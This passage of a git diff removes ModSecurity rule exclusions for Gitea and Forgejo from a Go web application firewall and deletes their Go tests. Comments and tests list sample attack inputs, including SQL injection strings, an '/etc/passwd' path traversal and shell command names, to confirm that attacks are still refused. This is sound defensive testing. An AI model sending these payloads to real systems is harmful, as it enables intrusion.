# repositories and emails, and the forms on them that adopt a repository or
|
|
||||||
# activate an email, in the body.
|
|
||||||
# gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
|
||||||
# [^/]+/[^/]+/projects matches the projects page of a user or an organisation
|
|
||||||
# (/alice/-/projects) as well as a repository's. The path of a package's
|
|
||||||
# versions holds the package's name, which can hold a slash, as npm's
|
|
||||||
# @scope/name does.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
|
||||||
explore/(?:users|organizations)|\
|
|
||||||
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
|
|
||||||
admin/emails/search)|\
|
|
||||||
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
|
|
||||||
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
|
|
||||||
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
|
||||||
[^/]+/-/packages/[^/]+/.+/versions|\
|
|
||||||
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
|
||||||
projects|settings/actions/runners)|\
|
|
||||||
user/settings/actions/runners|\
|
|
||||||
(?:-/)?admin/(?:users|orgs|repos|repos/unadopted|emails|emails/activate|\
|
|
||||||
actions/runners))$" \
|
|
||||||
"id:900603,phase:1,pass,nolog,\
|
"id:900603,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# Two of the API's searches send their words in a field other than q, which
|
|
||||||
# skips these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3, alice/python3-app
|
|
||||||
# The search of unadopted repositories sends an owner and a name, such as
|
|
||||||
# alice/python3-app, in query.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
|
|
||||||
"id:900607,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:query"
|
|
||||||
|
|
||||||
# The search of a repository's milestones sends a milestone's name in name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
|
|
||||||
"id:900608,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:name"
|
|
||||||
|
|
||||||
# The npm registry's search sends its words in text, which skips these rules
|
|
||||||
# there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
|
|
||||||
"id:900609,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:text"
|
|
||||||
|
|
||||||
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
|
|
||||||
# injection (942100) refused in q. q skips that rule only when the request has
|
|
||||||
# one q, in the query string or the body, with the shape of a Conan reference.
|
|
||||||
# A reference is a name, then optionally / and a version, then optionally @
|
|
||||||
# and a user, then optionally / and a channel. Each part is made of letters,
|
|
||||||
# digits, _, ., - and *. A part holds no +, since 942100 reads + as a space.
|
|
||||||
# q must also hold no */, which ends an SQL comment, and no --, which starts
|
|
||||||
# one. Last, 942100 must find no SQL injection in q once each comment that /*
|
|
||||||
# starts, an unclosed one included, is replaced by a space. So zlib/* passes,
|
|
||||||
# and SQL injection such as these stays refused:
|
|
||||||
# 1' OR '1'='1
|
|
||||||
# 1/**/or/**/1
|
|
||||||
# 1/*@*/or-1
|
|
||||||
# 1+or+1--
|
|
||||||
# 1-or-1--
|
|
||||||
# x/1.or.1
|
|
||||||
# 1.having.1
|
|
||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
|
||||||
# and cannot see a q there. It checks tx.app_gitea, since the skip above does
|
|
||||||
# not reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
|
|
||||||
"id:900611,phase:2,pass,nolog,chain"
|
|
||||||
SecRule &TX:app_gitea "@eq 1" "chain"
|
|
||||||
SecRule &ARGS:q "@eq 1" "chain"
|
|
||||||
SecRule ARGS:q "!@contains */" "chain"
|
|
||||||
SecRule ARGS:q "!@contains --" "chain"
|
|
||||||
SecRule ARGS:q "!@detectSQLi" "t:none,t:replaceComments,chain"
|
|
||||||
SecRule ARGS:q "@rx ^[\w.*-]+(?:/[\w.*-]+)?(?:@[\w.*-]+(?:/[\w.*-]+)?)?$" \
|
|
||||||
"ctl:ruleRemoveTargetById=942100;ARGS:q"
|
|
||||||
|
|
||||||
# The NuGet v2 API's searches, Search() and Packages(), send their words in
|
|
||||||
# searchTerm, or in $filter as an expression such as
|
|
||||||
# tolower(Id) eq 'python3'. Search()/$count and Packages()/$count count a
|
|
||||||
# search's results and read the same fields. searchTerm skips these rules:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# $filter skips these:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# The names $filter, $orderby and $top skip the rule for MongoDB operators
|
|
||||||
# (942290), which refused every such search.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)(?:/\$count)?$" \
|
|
||||||
"id:900612,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
|
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
# The repositories on a user's or an organisation's page are searched with q
|
||||||
# too. Their path has one segment, so q skips these rules on every path of one
|
# too. Their path has one segment, so q skips these rules on every path of one
|
||||||
# segment, other apps' pages such as /index.php included:
|
# segment, other apps' pages such as /index.php included:
|
||||||
@@ -376,8 +195,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. Rule 900591 already has path and
|
# Each request skips the rules that refused it. The fourth change already has
|
||||||
# redirect_to skip 930120, 932160 and 932260 on every path.
|
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -496,92 +315,6 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||||
|
|
||||||
# The requests below name a file or a branch in a body field, which is read only
|
|
||||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
|
|
||||||
# refused it.
|
|
||||||
# Each field below that names a branch skips these rules:
|
|
||||||
# 932120: fix-powershell-module
|
|
||||||
# 932260: feat/docker-support
|
|
||||||
# None applies when the query has a parameter of the same name.
|
|
||||||
|
|
||||||
# The web editor's save, new file, delete, upload, patch, cherry-pick and
|
|
||||||
# preview. The file's path, in tree_path, skips these rules:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: scripts/install-script.sh
|
|
||||||
# 932260: docker-compose.yml
|
|
||||||
# The commit's summary, in commit_summary, skips these rules:
|
|
||||||
# 930120: Remove .htaccess
|
|
||||||
# 932120: Remove scripts/install-script.sh
|
|
||||||
# The file's text or the patch, in content, skips one rule:
|
|
||||||
# 932235: a line that starts with install
|
|
||||||
# A new branch for the commit is named in new_branch_name.
|
|
||||||
SecRule REQUEST_FILENAME \
|
|
||||||
"@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
|
|
||||||
"id:900660,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:content,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
|
||||||
|
|
||||||
# A branch created on the web, in new_branch_name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
|
|
||||||
"id:900661,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:new_branch_name "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
|
||||||
|
|
||||||
# A branch renamed on the web, in from and to.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
|
|
||||||
"id:900662,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
|
||||||
|
|
||||||
# A branch created through the API, in new_branch_name. It starts from the
|
|
||||||
# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
|
|
||||||
"id:900663,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
|
|
||||||
|
|
||||||
# A pull request opened through the API, from the branch in head into the
|
|
||||||
# branch in base.
|
|
||||||
# An edit of one sends its new target branch in base.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
|
|
||||||
"id:900664,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.base"
|
|
||||||
|
|
||||||
# One file or several created, changed or deleted through the API, on the branch
|
|
||||||
# in branch. A new branch for the commit is named in new_branch. The commit's
|
|
||||||
# message, in message, skips these rules:
|
|
||||||
# 930120: Remove .htaccess
|
|
||||||
# 932120: Add a PowerShell build script
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
|
|
||||||
"id:900665,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message"
|
|
||||||
|
|
||||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||||
# Content-Range, which the Core Rule Set refused (920450).
|
# Content-Range, which the Core Rule Set refused (920450).
|
||||||
SecRule REQUEST_FILENAME \
|
SecRule REQUEST_FILENAME \
|
||||||
@@ -589,25 +322,6 @@ SecRule REQUEST_FILENAME \
|
|||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
# The forms that adopt or delete an unadopted repository send its name in id.
|
|
||||||
# The admin forms put its owner in front, as alice/python3-app. id skips these
|
|
||||||
# rules there:
|
|
||||||
# 930120: alice/.profile
|
|
||||||
# 932120: alice/powershell-scripts
|
|
||||||
# 932160: robin/assets, which holds bin/as
|
|
||||||
# 932260: alice/python3-app
|
|
||||||
# The forms post to these paths:
|
|
||||||
# /-/admin/repos/unadopted: gitea's admin form
|
|
||||||
# /admin/repos/unadopted: Forgejo's admin form
|
|
||||||
# /user/settings/repos/unadopted: the form in a user's settings, on both
|
|
||||||
SecRule REQUEST_FILENAME \
|
|
||||||
"@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
|
|
||||||
"id:900645,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:id,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:id,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:id,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:id"
|
|
||||||
|
|
||||||
# The passwords skip each rule that random passwords set off:
|
# The passwords skip each rule that random passwords set off:
|
||||||
# password: signing in, signing up, linking an account, activating an account,
|
# password: signing in, signing up, linking an account, activating an account,
|
||||||
# resetting or changing the password, deleting an account, and creating or
|
# resetting or changing the password, deleting an account, and creating or
|
||||||
@@ -654,16 +368,3 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
|
|||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||||
|
|
||||||
# Referer skips the rule on Java class names (944130). It refused every page
|
|
||||||
# opened from the page of java.lang.String.md.
|
|
||||||
SecAction "id:900641,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
|
|
||||||
|
|
||||||
# A container image push that reuses a layer names the image it takes the layer
|
|
||||||
# from in the query parameter from, which skips the list of command names
|
|
||||||
# (932260) there. It refused the push of a layer from owner/python3-app.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
|
||||||
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
|
||||||
|
|
||||||
SecMarker END_GITEA
|
|
||||||
@@ -1,501 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"slices"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
|
||||||
|
|
||||||
// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
|
|
||||||
// of unadopted repositories. The forms that adopt or delete one post there.
|
|
||||||
const (
|
|
||||||
giteaAdminUnadoptedRepos = "/-/admin/repos/unadopted"
|
|
||||||
forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
|
|
||||||
)
|
|
||||||
|
|
||||||
// giteaSearches are searches of the pages gitea and Forgejo share whose q
|
|
||||||
// skips the lists of system files and command names, in the eighth change.
|
|
||||||
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaSearches = []string{
|
|
||||||
"/notifications/watching",
|
|
||||||
"/org/acme/milestones/developers",
|
|
||||||
"/org/acme/teams/-/search",
|
|
||||||
"/alice/-/projects",
|
|
||||||
"/alice/-/packages/generic/tools-cli/versions",
|
|
||||||
"/alice/-/packages/npm/@alice%2Ftools-cli/versions",
|
|
||||||
"/alice/tools/milestones",
|
|
||||||
"/alice/tools/projects",
|
|
||||||
"/alice/tools/issues/suggestions",
|
|
||||||
"/alice/tools/settings/actions/runners",
|
|
||||||
"/org/acme/settings/actions/runners",
|
|
||||||
"/user/settings/actions/runners",
|
|
||||||
"/-/admin/actions/runners",
|
|
||||||
"/-/admin/users",
|
|
||||||
"/-/admin/orgs",
|
|
||||||
"/-/admin/repos",
|
|
||||||
giteaAdminUnadoptedRepos,
|
|
||||||
"/-/admin/emails",
|
|
||||||
"/-/admin/emails/activate",
|
|
||||||
"/admin/actions/runners",
|
|
||||||
"/admin/users",
|
|
||||||
forgejoAdminUnadoptedRepos,
|
|
||||||
"/admin/emails/activate",
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaTagAndPackageSearches are the searches of tags and packages, whose q
|
|
||||||
// also lets /bin/sh through, since a tag or package name can hold a slash.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaTagAndPackageSearches = []string{
|
|
||||||
"/alice/tools/tags",
|
|
||||||
"/alice/tools/packages",
|
|
||||||
"/-/admin/packages",
|
|
||||||
"/admin/packages",
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// The forms that adopt a repository and activate an email send the
|
|
||||||
// admin page's search in q, as gitea 1.27.3 and Forgejo 17.0.1 do.
|
|
||||||
for _, value := range hardValues {
|
|
||||||
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
|
|
||||||
|
|
||||||
for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
|
|
||||||
}
|
|
||||||
|
|
||||||
activate := "sort=email&q=" + value + "&is_primary=&is_activated=" +
|
|
||||||
"&uid=2&email=bob%40example.com&primary=1&activate=0"
|
|
||||||
|
|
||||||
for _, path := range []string{"/-/admin/emails/activate", "/admin/emails/activate"} {
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
wantBody(t, crs, r, activate, coreruleset.Result{}, activate)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// The admin forms send the repository's owner and name in id, and the
|
|
||||||
// form in a user's settings only its name. robin/assets holds bin/as, a
|
|
||||||
// shell path.
|
|
||||||
ownerAndName := []string{
|
|
||||||
"alice%2Fpython3-app",
|
|
||||||
"alice%2Fpowershell-scripts",
|
|
||||||
"alice%2F.profile",
|
|
||||||
"robin%2Fassets",
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, form := range []struct {
|
|
||||||
path string
|
|
||||||
ids []string
|
|
||||||
}{
|
|
||||||
{giteaAdminUnadoptedRepos, ownerAndName},
|
|
||||||
{forgejoAdminUnadoptedRepos, ownerAndName},
|
|
||||||
{
|
|
||||||
"/user/settings/repos/unadopted", // gitea's and Forgejo's
|
|
||||||
[]string{"python3-app", "powershell-scripts", ".profile"},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, form.path, []string{formData}}
|
|
||||||
|
|
||||||
for _, action := range []string{"adopt", "delete"} {
|
|
||||||
for _, id := range form.ids {
|
|
||||||
body := "id=" + id + "&action=" + action
|
|
||||||
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Another field keeps those rules.
|
|
||||||
body := "id=" + form.ids[0] + "&action=adopt&page=python3"
|
|
||||||
wantBody(t, crs, r, body, matched(932260), body)
|
|
||||||
|
|
||||||
// Attacks in id are still refused.
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection,
|
|
||||||
scriptInjection,
|
|
||||||
commandInjection,
|
|
||||||
"..%2F..%2Fetc%2Fpasswd",
|
|
||||||
} {
|
|
||||||
body := "id=" + attack + "&action=adopt"
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", form.path, body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// On another path, id keeps those rules.
|
|
||||||
r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
|
|
||||||
body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
|
|
||||||
wantBody(t, crs, r, body, matched(932260), body)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, path := range slices.Concat(giteaSearches, giteaTagAndPackageSearches) {
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
|
||||||
} {
|
|
||||||
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// /bin/sh stays refused in q on the searches that are not of tags or
|
|
||||||
// packages.
|
|
||||||
for _, path := range giteaSearches {
|
|
||||||
if got := inspect(t, crs, get(path+"?q=%2Fbin%2Fsh")); got.Score < threshold {
|
|
||||||
t.Errorf("%s?q=%%2Fbin%%2Fsh let through: %+v", path, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
attacks := []string{binSh, commandInjection, pathTraversal}
|
|
||||||
|
|
||||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
|
||||||
// values stay refused in q on paths near the searches, and in another
|
|
||||||
// field on them.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/org/acme/teams?q=",
|
|
||||||
"/org/acme/teams/-/search/x?q=",
|
|
||||||
"/org/acme/issues/developers/x?q=",
|
|
||||||
"/alice/-/projects/1?q=",
|
|
||||||
"/alice/-/packages/generic/tools-cli/1.0.0?q=",
|
|
||||||
"/alice/tools/milestones/new?q=",
|
|
||||||
"/alice/tools/milestone/new?q=",
|
|
||||||
"/alice/tools/projects/1?q=",
|
|
||||||
"/alice/tools/packages/x?q=",
|
|
||||||
"/alice/tools/tags/v1.0?q=",
|
|
||||||
"/alice/tools/issues/1?q=",
|
|
||||||
"/alice/tools/settings/actions?q=",
|
|
||||||
"/user/settings/actions?q=",
|
|
||||||
"/-/admin/users/1/edit?q=",
|
|
||||||
"/-/admin/emails/delete?q=",
|
|
||||||
"/-/admin/actions/runners/1?q=",
|
|
||||||
"/-/admin/packages/delete?q=",
|
|
||||||
"/alice/tools/milestones?other=",
|
|
||||||
"/alice/tools/milestone/1?other=",
|
|
||||||
"/alice/tools/tags?other=",
|
|
||||||
"/org/acme/issues/developers?other=",
|
|
||||||
"/org/acme/teams/-/search?other=",
|
|
||||||
"/-/admin/users?other=",
|
|
||||||
"/-/admin/packages?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range slices.Concat(attacks, hardValues) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Under /admin/, where Forgejo serves its admin pages, only the hard
|
|
||||||
// values are left out: the tenth change lets them through in q on every
|
|
||||||
// path there, for Drupal.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/admin/packages/delete?q=",
|
|
||||||
"/admin/packages?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range attacks {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Referer keeps its rules on a page opened from a path near the
|
|
||||||
// searches of one team and of one milestone.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/org/acme/issues/developers/x",
|
|
||||||
"/alice/tools/milestone/new",
|
|
||||||
} {
|
|
||||||
for _, attack := range []string{scriptTag, injection} {
|
|
||||||
referer := "Referer: http://example.com" + path + "?q=" + attack
|
|
||||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", referer, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
|
|
||||||
// field skips the lists of system files and command names. Each ends in the
|
|
||||||
// field it sends its words in.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
